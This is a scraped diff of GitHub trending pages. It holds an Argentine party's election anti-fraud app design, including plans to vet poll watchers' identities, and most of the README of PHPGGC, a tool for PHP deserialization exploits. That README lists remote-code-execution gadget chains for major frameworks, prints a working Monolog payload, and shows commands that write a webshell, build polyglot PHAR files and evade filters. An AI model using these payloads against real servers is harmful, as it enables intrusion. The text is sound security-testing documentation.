&nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#fiscales-falsos">Fiscales Falsos</a> &nbsp; &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#fiscales-judas">Fiscales Judas</a> &nbsp; &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#ficales-incompetentes">Ficales Incompetentes</a> &nbsp; &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#conteo-de-voto-corrupto-por-falta-del-fiscal-de-mesa">Conteo de Voto Corrupto por falta del Fiscal de Mesa</a> &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#usuarios">Usuarios</a> &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#funcionalidad">Funcionalidad</a> &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#arquitectura-del-sistema">Arquitectura del Sistema</a> &nbsp; &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#componentes-principales">Componentes Principales</a> &nbsp; &nbsp; &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#base-de-datos">Base de Datos</a> &nbsp; &nbsp; &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#servicios-de-backend">Servicios de Backend</a> &nbsp; &nbsp; &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#frontend">Frontend</a> &nbsp; &nbsp; &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#procesos-batch">Procesos Batch</a> &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#responsables">Responsables</a> &nbsp; - <a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#links-de-inter%C3%A9s">Links de interés</a></li> <li><a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#autores">Autores</a></li> <li><a href="https://raw.githubusercontent.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/main/#contributors">Contributors</a></li> </ul> <h2>Objetivos</h2> <p>Los objetivos de este sistema son:</p> <ol> <li>Identificar potenciales fraudes electorales.</li> <li>Minimizar su ocurrencia e impacto.</li> <li>Acelerar su detección para evitar la falsa declaración de un ganador con altos niveles de fraude/casos sospechosos.</li> </ol> <h2>Componentes</h2> <ul> <li>Frontend fiscales (carga de datos)</li> <li>Frontend público (para toda persona que quiera acceder a los datos)</li> <li>Backend (API)</li> </ul> <h2>Repositorios y organización</h2> <p>Este repositorio tiene la finalidad de:</p> <ul> <li>Explicar el proyecto en general</li> <li>Alojar el <a href="https://github.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/tree/main/Frontend/fiscales-app-ts">código para el frontend para fiscales</a></li> </ul> <p>Estos repositorios son las partes complementarias del proyecto:</p> <ul> <li>Frontend público (<em>TO DO: Incluir link cuando se lo cree</em>)</li> <li><a href="https://github.com/Las-Fuerzas-Del-Cielo/api">Backend API</a></li> </ul> <h2>Tipos de Fraudes</h2> <p>¿Qué tipos de fraude se esperan detectar? En una elección como esta hay muchas formas de hacer fraudes si alguien controla el sistema de cómputos oficial.</p> <p>Esta es la lista de Tipos de Fraudes que se quieren atacar. Esa es la columna vertebral de este proyecto, de ahí deriva toda la funcionalidad que se va a construir. Si querés podés codear algo de lo que se necesita para alguno de los tipos de fraudes identificados, y si se te ocurre algún otro tipo de fraude y cómo minimizarlo, lo podés agregar a la lista y especificar qué habría que hacer para eso. Y si tenés tiempo y energía podés arrancar programando lo que haga falta en lo que llegan otros y te ayudan.</p> <h3>Sumarización Fraudulenta</h3> <p>En este caso el Sistema Oficial de cómputos tiene cargado correctamente todos los datos pero aun así el agrupamiento por Provicia / Nación es incorrecto.</p> <h3>Mesas Inexistentes</h3> <p>En este caso, el Sistema Oficial de cómputos tiene cargados correctamente todos los datos pero adicional a las mesas reales hay mesas que solo existen en el sistema y que se usan para cambiar los resultados globales.</p> <h3>Datos de Mesa Correctos luego Incorrectos</h3> <p>El tercer tipo de fraude sería que las mesas cargadas en el Sistema Oficial tengan datos diferentes a las actas de los fiscales. Esto actualmente se puede detectar a mano si el fiscal revisa el Sistema Oficial. El problema es que el sistema oficial pudiera mostrarle los datos correctos por un tiempo y luego cambiarlos más adelante, cuando el fiscal ya los consultó y los vio correctos. Seguramente un fiscal solo verificaría una vez los datos y si están bien daría por hecho que eso luego no cambiaría más.</p> <h3>Fiscales Falsos</h3> <p>Estos serían personas que se inscribieron como fiscales solo para quedarse con una mesa o grupo de mesas y luego no ir o abandonar a último momento cuando es muy difícil conseguir reemplazo y reasignar sus mesas.</p> <p>El sistema debe tener pre-cargados los datos de los Fiscales de Mesa y su trabajo en las elecciones PASO y GENERALES para que si en ellas se ausentaron sin causa, o de manera sospechosa, no se los vuelva a convocar para el BALOTAJE.</p> <h3>Fiscales Judas</h3> <p>Este tipo de fraude se basa en reclutar e inscribir Fiscales de Mesa que en vez de fiscalizar y defender los votos de LLA, en realidad hacen lo opuesto. Las mesas con Fiscales Judas pudieran permitir que se carguen en el Sistema Oficial datos falsos porque la contabilización ya fue corrupta.</p> <p>El sistema debe permitir a los usuarios del tipo <strong>Auditores Externos</strong> ver los datos de los Fiscales de Mesa para poder investigarlos y así poder inferir si son del tipo Judas o no. Los Fiscales de Mesa serán invitados a proveer información de manera opcional de sus identidades en redes sociales, y a los que lo hagan, sumarán puntos en su reputación como Fiscal. Del otro lado, un ejército de auditores externos puede investigar con su DNI y esas identidades sociales cuál es el background real de esas personas y en base a los resultados de estas investigaciones, asignarle a cada fiscal un score que puede usarse en un caso extremo para descalificarlo o al menos para observarlo con precaución.</p> <h3>Ficales Incompetentes</h3> <p>El sistema debe cubrir el caso de fiscales que simplemente son incompetentes y por ignoracia cargan mal los datos en el sistema. Esto significa que deberían existir mecanismos para excluir datos de este tipo de fiscales o que algún tipo de usuario los pueda sobreescribir basándose por ejemplo en las fotografías de las actas.</p> <h3>Conteo de Voto Corrupto por falta del Fiscal de Mesa</h3> <p>El sistema debe ayudar a administrar los Fiscales de Mesa y los Fiscales Generales, para que por lo menos haya un Fiscal General en cada escuela como mínimo. Los casos donde no hay ni siquiera un Fiscal General por escuela son una pérdida gigante de votos. También debe gestionar la asignación de Fiscales de Mesa, para que ante la escasez, estos sean enviados a los lugares donde más se necesitan. Por ejemplo, a las escuelas donde haya una mayor cantidad de electores combinado con una menor cantidad de Fiscales de Mesa.</p> <h2>Usuarios</h2> <p>Esta APP tendría estos tipos de usuarios:</p> <ol> <li> <p><strong>Fiscal de Mesa:</strong> Los principales usuarios de esta APP serían los Fiscales de Mesa de LLA. Serían quienes cargan los datos.</p> </li> <li> <p><strong>Fiscal General:</strong> Supervisa a los Fiscales de Mesa en una determinada escuela. El fiscal general DEBE tomar fotos de todas las actas de todas las mesas de la escuela a la cual fue asignado. En teoría siempre hay aunque sea un fiscal general, aunque pudiera no haber ningún Fiscal de Mesa. Si lo hace y las sube al sistema, podemos tener atrás un ejército de voluntarios por internet que transcriba los valores de las fotos en registros numéricos y así tener la primera versión de datos en el sistema bien temprano después del cierre de la votación. Debiera ser una responsabilidad del Fiscal General tomar las fotos de todas las mesas de una escuela, porque de esa manera pudieramos evitar el tipo de fraude <strong>Mesas Inexistentes</strong> en la que en el sistema oficial aparece luego alguna mesa que en la realidad no existió. Si cada uno de nuestros fiscales tomara fotos de TODAS las mesas físicamente presentes en cada escuela, podríamos detectar esas mesas fantasma.</p> </li> <li> <p><strong>Delegados del Partido:</strong> Son personas de confianza de LLA que durante la votación pueden ir de una escuela a otra para apoyar y auditar a los Fiscales Generales y a los Fiscales de Mesa.</p> </li> <li> <p><strong>Auditor Interno:</strong> Serían personas de LLA que analizarían los datos cargados por los Fiscales de Mesa y los compararían con los datos oficiales. La APP trataría de automatizar esa comparación con el objetivo de detectar diferencias y potenciales fraudes.</p> </li> <li> <p><strong>Auditor Externo:</strong> Sería cualquier persona que complete el proceso de sign up como auditor externo. Este perfil tendría acceso a la funcionalidad necesaria para consultar datos y documentos digitalizados y reportar anomalías que luego serían levantadas por los Auditores Internos. Es importante notar que el fraude se tiene que detectar lo antes posible porque una vez que se declara a alguien ganador, difícilmente eso se vuelva para atrás sin importar la cantidad de denuncias de fraude que haya después. Esto elimina la posibilidad de solo cargar una foto y luego que alguien en algún momento digite los datos de esa foto. En general, la detección de los distintos tipos de fraude debería ser instantánea y es más, si es posible cualquier persona de la población en general debería poder ver el recuento de votos de acuerdo a los fiscales de LLA incluso antes que salgan los datos oficiales, cosa de que antes de que se nombre un ganador ya haya una reacción del público general ante un potencial fraude de gran escala.</p> </li> <li> <p><strong>Público:</strong> Cualquier persona que quiera ver los resultados en línea, de acuerdo a los datos cargados por los Fiscales de Mesa de LLA. También podrán navegar por toda la información disponible en el sistema.</p> </li> </ol> <h2>Funcionalidad</h2> <ol> <li> <p><strong>Carga de Datos:</strong> La APP permitiría a los Fisacales de Mesa cargar los datos de las mesas que supervisan. El sistema acumularía todos los datos en una base de datos.</p> </li> <li> <p><strong>Reportes para Auditores:</strong> El sistema generaría distintos tipos de reportes orientados a detectar fraude, basándose en los datos cargados por los Fiscales de Mesa y los datos Oficiales.</p> </li> <li> <p><strong>Consultas para el Público:</strong> El sistema permitiría ejecutar diferentes tipos de consultas al público en general.</p> </li> <li> <p><strong>Mapa / Reporte de Fiscales Trabajando:</strong> El sistema debería permitir saber en línea donde hay y donde no hay fiscales y así a través de las redes se puede difundir para que la gente vaya a fiscalizar y sobre todo en los casos más extremos donde, por ejemplo, no hay nadie. Un reporte en línea ordenado por gravedad de dónde hacen falta fiscales con urgencia sería óptimo. Sería más grave en las escuelas con mayor cantidad de electores donde hay una menor cantidad de fiscales. De ahí pudieran tomar los datos que estarían actualizados a toda hora durante la votación de donde es más crítico llamar por las redes a que se refuercen esas escuelas.</p> </li> <li> <p><strong>Mapa / Info de Bunkers-Sucursales:</strong> El sistema debería permitir visualizar un mapa o varios mapas en los cuales se debería poder visualizar donde ir a buscar boletas personales y así que la gente pueda ver donde ir a buscarlas.</p> </li> </ol> <h2>Arquitectura del Sistema</h2> <p><img src="https://github.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/assets/140413871/d3b6c243-93b5-41f6-9060-5ab97d90995c" alt="image"></p> <ul> <li><strong>Cloudflare:</strong> Como DNS management, CDN y seguridad en capa 7.</li> <li><strong>React SPA:</strong> Hosteada en S3.</li> <li><strong>API Express:</strong> Hosteada como monolito en lambda function, esto permite flexibilidad para los desarrolladores y evita la complejidad de tener que adaptarse a desarrolo de microservicios.</li> <li><strong>API Gateway:</strong> La magia de hacer un monolito serverless sucede acá, se proxean todos los endpoints a la lambda que ejecuta el servidor de Express.</li> <li><strong>DynamoDB:</strong> Otro servicio serverless, nos evita tener que lidiar con configuraciones de escalado, posibles spikes inesperados de tráfico, esto nos asegura que la aplicación va a soportar altos niveles de carga sin crashear.</li> <li><strong>S3 Bucket:</strong> Acá se subirán assets en forma de videos o imágenes como pruebas de fraudes.</li> </ul> <p>Hay muchas formas de encarar la arquitectura de un sistema como este. Vamos a listar antes que nada cuáles son los criterios más importantes que querríamos seguir y a partir de ellos vamos a derivar la arquitectura que emerja de ahí.</p> <ol> <li> <p>El sistema completo se tiene que desarrollar y probar en tiempo record. Ese es el principal limitante.</p> </li> <li> <p>Necesitamos poner a trabajar mucha gente en paralelo, con la mínima fricción entre ellos. Para esto tenemos que partir el sistema en bloques de casos de uso que van a interactuar entre sí a través de interfaces bien definidas.</p> </li> <li> <p>Tenemos que minimizar el TRUST en cada persona que participe, porque nadie se conoce y nadie sabe quien es quien, y quien pudiera tomar alguna responsabilidad con la intención explícita de no cumplir, entre otras cosas.</p> </li> <li> <p>Tenemos que minimizar el riesgo de que algo falle el día de las elecciones, así que deberíamos tener redundancia no sólo a nivel de hardware, sino también de software.</p> </li> <li> <p>Creemos en OPEN SOURCE, en sistemas PERMISSIONLESS y DECENTRALIZADOS (hasta donde se pueda y sea razonable para este caso). Queremos desarrollar un sistema que no solo cualquiera pueda auditar su código, por ser open source, sino que cualquiera pueda registrarse con cualquiera de sus roles / tipos de usuarios, para que de esta manera y por primera vez en la historia, cualquier persona del mundo, esté donde esté a través del internet pueda ayudar a auditar la elección y evitar fraudes.</p> </li> </ol> <h3>Componentes Principales</h3> <h4>Base de Datos</h4> <p><strong>Base de Datos Principal</strong></p> <p>La base de datos del sistema es en nuestro caso el SINGLE POINT OF FAILURE (salvo que esté replicada). Visualizamos tener al menos una base de datos para la información recogida por los Fiscales de Mesa y los Fiscales Generales, que será de lectura / escritura y desde ella se servirá la información para las funcionalidades de esos roles (Fiscales de Mesa, Fiscales Generales).</p> <p><strong>Base de Datos Read-Only</strong></p> <p>Para consultas del Público en General, o del ejército online de auditores, debido a que es difícil estimar la cantidad de usuarios en esos roles en un sistema abierto y permissionless, es posible que tengamos una copia de la base de datos anterior pero de solo lectura, o una versión in-memory o cache para servir todo tipo de requerimientos de consultas por parte de estos tipos de usuarios.</p> <p><strong>Base de Datos de Usuarios</strong></p> <p>Estaría separada del resto para que sea construida, mantenida y operada por gente especializada en Seguridad de Sistemas y que nadie ajeno a ese equipo pueda romper nada aquí.</p> <h4>Servicios de Backend</h4> <p><strong>Backend Principal</strong></p> <p>El backend principal será el que tenga la business logic de los casos de uso principales, que son los que corresponden a los Fiscales de Mesa, Fiscales Generales, y Delagados del Partido.</p> <p><strong>Backend Read Only</strong></p> <p>Es posible que tengamos un backend para las operaciones read-only del público en general y auditores externos a LLA. Es posible que este backend trabaje con una replica off line de la Base de Datos Principal, actualizada cada tanto.</p> <p><strong>Backend para Logins / Signups / Mantenimiento de Usuarios</strong></p> <p>Normalmente esto sería parte del Backend Principal, pero como tenemos tan poco tiempo, pudieramos separar este grupo de funcionalidades para que un equipo especializado desarrolle esto sin tocarse en nada con el resto del sistema.</p> <h4>Frontend</h4> <p><strong>UI Web / Mobile para Fiscales</strong></p> <p>La UI para los Fiscales debe considerarse de misión crítica. Si ella no funcionara no tendríamos nada, porque los fiscales son los que cargan los datos que son la base de todas las auditorias que el sistema va a permitir realizar. Basándonos en los criterios antes expuestos para minimizar el riesgo de que algún módulo no esté listo o que no funcione bien, la propuesta es abrir la cancha y que múltiples desarrolladores desarrollen múltiples UIs. Luego publicaríamos los links a las que pasen las pruebas que hagamos y el resto quedarían abandonadas. Cada quien es libre de elegir el framework y las tecnologías a usar para su UI para Fiscales, porque cada quien invierte su propio tiempo construyéndola. Todas estas UIs se conectarían al Backend principal vía una API pre-definida y desde cualquiera de ellas se pudieran realizar los casos de uso definidos / a definir.</p> <p>Como una extensión del criterio anterior, sería incluso óptimo si cada desarrollador hosteara el mismo en su propio servidor su UI incluyendo su propio dominio si lo quisiera. Esto haría el sistema más resiliente si hubiera más de una opción. Esto aplica para la siguiente UI también.</p> <p>Si todas las mesas tuvieran fiscales, estamos hablando de una cantidad de potenciales usuarios de entre 100K y 150K porque hay más o menos esa cantidad de mesas de votación a nivel nacional.</p> <p><strong>UI Web para el público en general / auditores externos</strong></p> <p>La UI para el público en general / auditores externos e ideas de funcionalidades de misión no-crítica debería ser una web app. En este caso, la masa potencial de usuarios es tremendamente mayor a la anterior, en el orden de los 30 o 40 millones de personas potencialmente que pudieran querer consultar los resultados como los ve LLA y algún número menor que ese de gente que quiera jugar el rol de auditor externo y controlar lo que el sistema le permita controlar. Permitir que cualquier número de personas entre al sistema a auditar puede ser la clave para que, combinado con el uso / denuncias a través de redes sociales de un gran número de personas, se puedan desaconsejar los posibles fraudes que la gente que controla el sistema oficial (que es un sistema cerrado y opaco) pudieran querer hacer.</p> <p>En este caso, también permitiríamos que cualquier desarrollador pueda crear su propia versión de este sitio para el público en general y auditores externos, en la tecnología que quiera, y luego publicaríamos los links a los sitios que pasen correctamente las pruebas que hagamos. Al mismo tiempo, si hubiera varias versiones del sitio, disminuiriamos la carga individual en cada una, y bajariamos el riesgo de no tener algo funcionando para el día de las elecciones.</p> <p><strong>UI Login / Signup / Mantenimiento de Usuarios</strong></p> <p>Esta sería la UI específica para estos casos de usos, a cargo de gente especializada en Seguridad de Sistemas.</p> <h4>Procesos Batch</h4> <p><strong>Extracción de Datos del Sistema Oficial</strong></p> <p>El sistema oficial provee aquí (<a href="https://resultados.mininterior.gob.ar/desarrollo">https://resultados.mininterior.gob.ar/desarrollo</a>) instrucciones de cómo acceder a ciertos datos del mismo a través de una API. Nosotros debieramos tener un proceso que extraiga dichos datos cada cierto tiempo (5 minutos?) y actualice nuestra base de datos.</p> <p>Para poder abrir el juego y que varios desarrolladores puedan hacer diferentes procesos usando los datos del Sitio Oficial más los datos subidos por los Fiscales de Mesa, es mejor si hay un proceso que solo extraiga los datos del sitio oficial y los grabe en nuestra base de datos. Luego de que corra ese proceso cada cierto tiempo, pueden haber n procesos, de n developers distintos, cada uno buscando detectar algún tipo de fraude diferente.</p> <p><strong>Procesos de Detección de Fraudes</strong></p> <p>Con los datos cargados por los Fiscales a través de la mobile app más los datos extraídos del sistema oficial, el sistema tiene la capacidad de correr múltiples procesos cada uno especializado en detectar algún tipo de fraude.</p> <p>Se deben analizar los procesos que se necesitan para detectar los tipos de fraude previamente especificados.</p> <h2>Responsables</h2> <p>Al mejor estilo Open Source, el que quiera hacerse responsable de alguna parte del sistema, puede autolistarse aquí abajo, modificando este readme vía PR.</p> <ul> <li>Análisis General <a href="https://www.github.com/Luis-Fernando-Molina">@Luis-Fernando-Molina</a></li> <li>UX/UI <a href="https://github.com/JoseOrtega02">@JoseOrtega02</a>, [quien quiera sumarse]</li> <li>FrontEnd <a href="https://github.com/JoseOrtega02">@JoseOrtega02</a>, [quien quiera sumarse]</li> </ul> <h2>Links de interés</h2> <ul> <li>Figma: <a href="https://www.figma.com/file/nyWx6CewFyvb3a7y3g1r7W/Libertarios-APP?type=design&amp;node-id=0%3A1&amp;mode=design&amp;t=L4k93Fh2vw4b8yku-1">https://www.figma.com/file/nyWx6CewFyvb3a7y3g1r7W/Libertarios-APP?type=design&amp;node-id=0%3A1&amp;mode=design&amp;t=L4k93Fh2vw4b8yku-1</a></li> <li>trello: <a href="https://trello.com/invite/b/3sdCNjhp/ATTI0ee6e921ed507577043c8411266d7206D016745E/libertarios-app-ux-ui-fronted">https://trello.com/invite/b/3sdCNjhp/ATTI0ee6e921ed507577043c8411266d7206D016745E/libertarios-app-ux-ui-fronted</a></li> </ul> <h1>Autores</h1> <ul> <li><a href="https://www.github.com/Luis-Fernando-Molina">@Luis-Fernando-Molina</a></li> <li><a href="https://www.github.com/switTV">@switTV</a></li> </ul> <h1>Contributors</h1> <a href="https://github.com/Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral/graphs/contributors"> &nbsp; <img src="https://contrib.rocks/image?repo=Las-Fuerzas-Del-Cielo/Sistema-Anti-Fraude-Electoral" height="50"> </a> <h1>Discord para Devs</h1> <p><a href="https://discord.gg/BWDqcpXn">https://discord.gg/BWDqcpXn</a></p> \ No newline at end of file diff --git a/php/weekly/index.xml b/php/weekly/index.xml deleted file mode 100644 index c9b46ef87b4..00000000000 --- a/php/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub PHP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:59:05Z - Weekly Trending of PHP in GitHub - - - ambionics/phpggc - 2023-10-29T01:59:05Z - tag:github.com,2023-10-29:/ambionics/phpggc - - <p>PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.</p><hr><h1>PHPGGC: PHP Generic Gadget Chains</h1> <p><em>PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically</em>. When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of <a href="https://github.com/frohoff/ysoserial">frohoff's ysoserial</a>, but for PHP. Currently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework.</p> <h2>Requirements</h2> <p>PHP &gt;= 5.6 is required to run PHPGGC.</p> <h2>Usage</h2> <p>Run <code>./phpggc -l</code> to obtain a list of gadget chains:</p> <pre><code>$ ./phpggc -l Gadget Chains ------------- NAME VERSION TYPE VECTOR I Bitrix/RCE1 17.x.x &lt;= 22.0.300 RCE (Function call) __destruct CakePHP/RCE1 ? &lt;= 3.9.6 RCE (Command) __destruct CakePHP/RCE2 ? &lt;= 4.2.3 RCE (Function call) __destruct CodeIgniter4/FR1 4.0.0 &lt;= 4.3.6 File read __toString * CodeIgniter4/RCE1 4.0.2 &lt;= 4.0.3 RCE (Function call) __destruct CodeIgniter4/RCE2 4.0.0-rc.4 &lt;= 4.3.6 RCE (Function call) __destruct CodeIgniter4/RCE3 4.0.4 &lt;= 4.3.6 RCE (Function call) __destruct CodeIgniter4/RCE4 4.0.0-beta.1 &lt;= 4.0.0-rc.4 RCE (Function call) __destruct CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct CodeIgniter4/RCE6 -4.1.3 &lt;= 4.2.10+ RCE (Function call) __destruct Doctrine/FW1 ? File write __toString * Doctrine/FW2 2.3.0 &lt;= 2.4.0 v2.5.0 &lt;= 2.8.5 File write __destruct * Doctrine/RCE1 1.5.1 &lt;= 2.7.2 RCE (PHP code) __destruct * Doctrine/RCE2 1.11.0 &lt;= 2.3.2 RCE (Function call) __destruct * Dompdf/FD1 1.1.1 &lt;= ? File delete __destruct * ... </code></pre> <p>Filter gadget chains:</p> <pre><code>$ ./phpggc -l laravel Gadget Chains ------------- NAME VERSION TYPE VECTOR I Laravel/RCE1 5.4.27 RCE (Function call) __destruct Laravel/RCE10 5.6.0 &lt;= 9.1.8+ RCE (Function call) __toString Laravel/RCE2 5.4.0 &lt;= 8.6.9+ RCE (Function call) __destruct Laravel/RCE3 5.5.0 &lt;= 5.8.35 RCE (Function call) __destruct * Laravel/RCE4 5.4.0 &lt;= 8.6.9+ RCE (Function call) __destruct Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * Laravel/RCE6 5.5.* &lt;= 5.8.35 RCE (PHP code) __destruct * Laravel/RCE7 ? &lt;= 8.16.1 RCE (Function call) __destruct * Laravel/RCE8 7.0.0 &lt;= 8.6.9+ RCE (Function call) __destruct * Laravel/RCE9 5.4.0 &lt;= 9.1.8+ RCE (Function call) __destruct </code></pre> <p>Every gadget chain has:</p> <ul> <li>Name: Name of the framework/library</li> <li>Version: Version of the framework/library for which gadgets are for</li> <li>Type: Type of exploitation: RCE, File Write, File Read, Include...</li> <li>Vector: the vector to trigger the chain after the unserialize (<code>__destruct()</code>, <code>__toString()</code>, <code>offsetGet()</code>, ...)</li> <li>Informations: Other informations about the chain</li> </ul> <p>Use <code>-i</code> to get detailed information about a chain:</p> <pre><code>$ ./phpggc -i symfony/rce1 Name : Symfony/RCE1 Version : 3.3 Type : rce Vector : __destruct Informations : Exec through proc_open() ./phpggc Symfony/RCE1 &lt;command&gt; </code></pre> <p>For RCE gadgets, the executed command can have 3 formatting types depending on how the gadget works:</p> <ul> <li>RCE (Command): <code>./phpggc Symfony/RCE1 id</code></li> <li>RCE (PHP code): <code>./phpggc Symfony/RCE2 'phpinfo();'</code></li> <li>RCE (Function call): <code>./phpggc Symfony/RCE4 system id</code></li> </ul> <p>Once you have selected a chain, run <code>./phpggc &lt;gadget-chain&gt; [parameters]</code> to obtain the payload. For instance, to obtain a payload for Monolog, you'd do:</p> <pre><code>$ ./phpggc monolog/rce1 assert 'phpinfo()' O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}} </code></pre> <p>For a file write using SwiftMailer, you'd do:</p> <pre><code>$ echo 'It works !' &gt; /tmp/data $ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data O:13:"Swift_Message":8:{...} </code></pre> <h2>Wrapper</h2> <p>The <code>--wrapper</code> (<code>-w</code>) option allows you to define a PHP file containing the following functions:</p> <ul> <li><code>process_parameters(array $parameters)</code>: Called right <strong>before</strong> <code>generate()</code>, allows to change parameters</li> <li><code>process_object(object $object)</code>: Called right <strong>before</strong> <code>serialize()</code>, allows to change the object</li> <li><code>process_serialized(string $serialized)</code>: Called right <strong>after</strong> <code>serialize()</code>, allows to change the serialized string</li> </ul> <p>For instance, if the vulnerable code looks like this:</p> <pre><code class="language-php">&lt;?php $data = unserialize($_GET['data']); print $data['message']; </code></pre> <p>You could use a <code>__toString()</code> chain, wrapping it like so:</p> <pre><code class="language-php">&lt;?php # /tmp/my_wrapper.php function process_object($object) { return array( 'message' =&gt; $object ); } </code></pre> <p>And you'd call phpggc like so:</p> <pre><code>$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}} </code></pre> <h2>PHAR(GGC)</h2> <h3>History</h3> <p>At BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and as such can be used for various exploitation techniques (<code>file_exists</code>, <code>fopen</code>, etc.). The paper is <a href="https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf">here</a>.</p> <h3>Implementation</h3> <p>PHAR archives come in three different formats: <strong>PHAR, TAR, and ZIP</strong>. The three of them are supported by PHPGGC. Polyglot files can be generated using <code>--phar-jpeg</code> (<code>-pj</code>). Other options are available (use <code>-h</code>).</p> <h3>Examples</h3> <pre><code>$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar $ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id $ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar $ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id $ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar $ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id </code></pre> <h2>Encoders</h2> <p>Arguments allow to modify the way the payload is output. For instance, <code>-u</code> will URL encode it, and <code>-b</code> will convert it to base64. <strong>Payloads often contain NULL bytes and cannot be copy/pasted as-is</strong>. Use <code>-s</code> for a soft URL encode, which keeps the payload readable.</p> <p>The encoders can be chained, and as such <strong>the order is important</strong>. For instance, <code>./phpggc -b -u -u slim/rce1 system id</code> will base64 the payload, then URLencode it twice.</p> <h2>Advanced: Enhancements</h2> <h3>Fast destruct</h3> <p>PHPGGC implements a <code>--fast-destruct</code> (<code>-f</code>) flag, that will make sure your serialized object will be destroyed right after the <code>unserialize()</code> call, and not at the end of the script. <strong>I'd recommend using it for every <code>__destruct</code> vector</strong>, as it improves reliability. For instance, if PHP script raises an exception after the call, the <code>__destruct</code> method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.</p> <pre><code>$ ./phpggc -f -s slim/rce1 system id a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"... </code></pre> <h3>ASCII Strings</h3> <p>Uses the <code>S</code> serialization format instead of the standard <code>s</code>. This replaces every non-ASCII char to an hexadecimal representation: <code>s:5:"A&lt;null_byte&gt;B&lt;cr&gt;&lt;lf&gt;";̀</code> -&gt; <code>S:5:"A\00B\09\0D";</code> This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values. <em>Note: this is experimental and it might not work in some cases.</em></p> <h3>Armor Strings</h3> <p>Uses the <code>S</code> serialization format instead of the standard <code>s</code>. This replaces every char to an hexadecimal representation: <code>s:5:"A&lt;null_byte&gt;B&lt;cr&gt;&lt;lf&gt;";̀</code> -&gt; <code>S:5:"\41\00\42\09\0D";</code> This comes handy when a firewall or PHP code blocks strings. <em>Note: this is experimental and it might not work in some cases.</em> <em>Note: this makes each string in the payload grow by a factor of 3.</em></p> <h3>Plus Numbers</h3> <p>Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as <code>/O:[0-9]+:</code>. This is easily bypassed using <code>O:+123:...</code> instead of <code>O:123:</code>. One can use <code>--plus-numbers &lt;types&gt;</code>, or <code>-n &lt;types&gt;</code>, to automatically add these <code>+</code> signs in front of symbols. For instance, to obfuscate objects and strings, one can use: <code>--n Os</code>. Please note that since PHP 7.2, only <code>i</code> and <code>d</code> (float) types can have a <code>+</code>.</p> <h3>Testing your chain</h3> <p>To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and 